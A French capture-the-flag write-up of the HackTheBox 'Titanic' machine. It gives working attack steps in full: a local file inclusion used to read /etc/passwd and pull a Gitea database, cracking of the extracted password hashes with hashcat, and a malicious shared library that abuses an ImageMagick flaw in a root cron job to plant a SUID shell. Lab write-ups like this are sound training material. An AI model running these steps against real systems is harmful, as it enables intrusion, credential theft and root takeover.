Il s’agit d’une machine classée “facile” de HackTheBox, mais je n’ai pas trouvé si facile de trouver quels fichiers Gitea rechercher et la partie escalade de privilège m’a donné du fil à retordre.

Énumération Link to heading

On démarre avec un scan nmap agressif :

nmap -A -p 10.10.11.55 -oN aggressive_titanic.nmap
# Nmap 7.97 scan initiated Fri Aug  1 16:48:28 2025 as: nmap -A -p22,80 -oN aggressive_titanic.nmap 10.10.11.55
Nmap scan report for titanic.htb (10.10.11.55)
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/3.0.3 Python/3.10.12
|_http-title: Titanic - Book Your Ship Trip
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug  1 16:48:38 2025 -- 1 IP address (1 host up) scanned in 9.94 seconds

Qui nous révèle que deux services sont en activité sur la cible. Un scan intégral de tous les ports ne révèlent pas d’autres services.

Ni le service SSH ni le serveur web Python/Flask ne semblent vulnérable à des vulnérabilités connues donc passons à la suite.

Énumération Web Link to heading

Énumération de sous-domaines Link to heading

On énumère les sous-domaines avec la commande suivante :

ffuf -w /usr/local/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://titanic.htb -H "Host: FUZZ.titanic.htb" -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /usr/local/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 91ms]
:: Progress: [19966/19966] :: Job [1/1] :: 479 req/sec :: Duration: [0:00:42] :: Errors: 0 ::

On découvre le sous-domaine “dev”.

On peut analyser ces sites web avec l’outil gowitness :

echo "titanic.htb\ndev.titanic.htb" > subdomains.txt
gowitness scan file -f subdomains.txt --write-db
gowitness report server

Exploitation Link to heading

dev.titanic.htb Link to heading

L’entité Gitea permet une inscription libre et donne le droit d’explorer tous les projets en activité, ce qui constitue déjà une grosse faille de sécurité.

Dans le projet docker-config, on voit deux fichiers de configuration qui révèlent des informations importantes :

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

Il y a donc un fichier très intéressant dans le dossier /home/developer et :

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Qui révèlent des identifiants en clairs.

On peut utiliser les fichiers de configuration pour construire nous-même les instances et à partir de celles-ci, déduire l’emplacement d’autres fichiers potentiellement intéressants.

De cette manière, on apprend qu’il y a un fichier intéressant à l’emplacement /gitea/gitea.db dans le dossier de construction de l’instance.

De cette manière, on déduit le chemin de cette base de donnée intéressante sur la cible : /home/developer/gitea/data/gitea/gitea.db.

titanic.htb Link to heading

En scannant le domaine : http://titanic.htb avec ZAP Active Scan, on voit que le site contient une faille d’inclusion de fichier (Local File Inclusion) au niveau de l’adresse : /download?ticket= :

curl http://titanic.htb/download?ticket=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

On peut ajouter ça à notre listes de vulnérabilités trouvées.

Téléchargeons la base de donnée:

curl "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" --output gitea.db

On peut utiliser sqlitebrowser pour lire cette base de donnée :

sqlitebrowser gitea.db

On trouve la table user qui contient des champs très intéressants, notamment les colonnes passwd et passwd_hash_algo, listant les différents utilisateurs du service (l’utilisateur someone a été créé par moi-même). On remarque aussi les colonnes rands et salt.

C’est très intéressant, car il s’agit probablement de hachages de mots de passe que l’on peut tenter de casser.

En cherchant la valeur contenue dans le champ passwd_hash_algo, on voit qu’il s’agit de l’algorithme PBKDF2-HMAC-SHA256 couramment utilisé par Gitea. Cet algorithme correspond à une entrée dans la table de hashcat :

10900 | PBKDF2-HMAC-SHA256 | sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt 

On constate cependant que la forme du hachage est différente de celle présente dans notre base. Après quelques recherches supplémentaires, on tombe sur ce programme qui convertit les entrées de la base Gitea en hachages compatibles avec hashcat. On l’exécute donc sur notre base :

python3 giteatohashcat.py gitea.db
[+] Extracting password hashes...
[+] Extraction complete. Output:
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
someone:sha256:50000:7xDOYU23qM9rXrZ9J+uQ5A==:lewZafDAXhRy47eoqfPIjtNxpNDtgB3wJjGJSNjBW63XGysHqCkKccrtKoedA0Qn6Bw=

La sortie est bien au format hashcat comme prévu.

On enregistre ces hachages dans un fichier hashes :

administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

On tente de casser les hachages de administrator et developer. Comme nous avons préfixé les lignes par les noms d’utilisateur, il faut ajouter l’option --username à hashcat :

hashcat -m 10900 hashes $(locate rockyou.txt) --username

Et on lit les résultats :

hashcat -m 10900 hashes --show --username
Mixing --show with --username or --dynamic-x can cause exponential delay in output.

developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

Nous avons maintenant des identifiants complets pour l’utilisateur developer : developer:25282528.

Foothold et post-exploitation Link to heading

On peut se connecter à la cible et lire le flag utilisateur :

ssh developer@titanic.htb
cat user.txt
0855d792xxxxxxfbcb0aef242b29759

Première étape, on envoie l’exécutable LinEnum.sh et on lance l’énumération locale de la machine.

On envoie également l’outil pspy afin de surveiller les tâches cron :

./pspy64 -pf -i 1000

On observe alors l’exécution périodique du fichier suivant :

2025/08/13 16:59:01 FS:                 OPEN | /opt/scripts/identify_images.sh
2025/08/13 16:59:01 FS:               ACCESS | /opt/scripts/identify_images.sh

Le fichier /opt/scripts/identify_images.sh est donc exécuté régulièrement.

En l’ouvrant, on trouve :

developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

C’est donc le logiciel ImageMagick qui est utilisé. On peut vérifier la version :

developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
<SNIP>

La version 7.1.1-35 est vulnérable à cet exploit. En lisant le commit de correction, on y trouve un PoC que l’on peut adapter pour obtenir une élévation de privilèges.

Escalade de privilèges Link to heading

On compile une dépendance spéciale :

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/sh /tmp && chmod u+s /tmp/sh");
exit(0);
}
EOF

Cette dépendance est chargée par ImageMagick lors de son exécution. Elle copie /bin/sh dans /tmp/ et lui applique le bit SUID, ce qui permettra de l’exécuter en tant que root.

Après le passage de la tâche cron, on obtient bien le binaire dans /tmp :

developer@titanic:/tmp$ ls
sh
<SNIP>

On lance simplement le shell en conservant les privilèges root (avec l’option -p) :

developer@titanic:/tmp$ /tmp/sh -p 
$ id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
$ cat /root/root.txt
729eebdxxxxxxxxxxfcb646ed0b3f5d6

Et voilà, on a récupéré le flag root !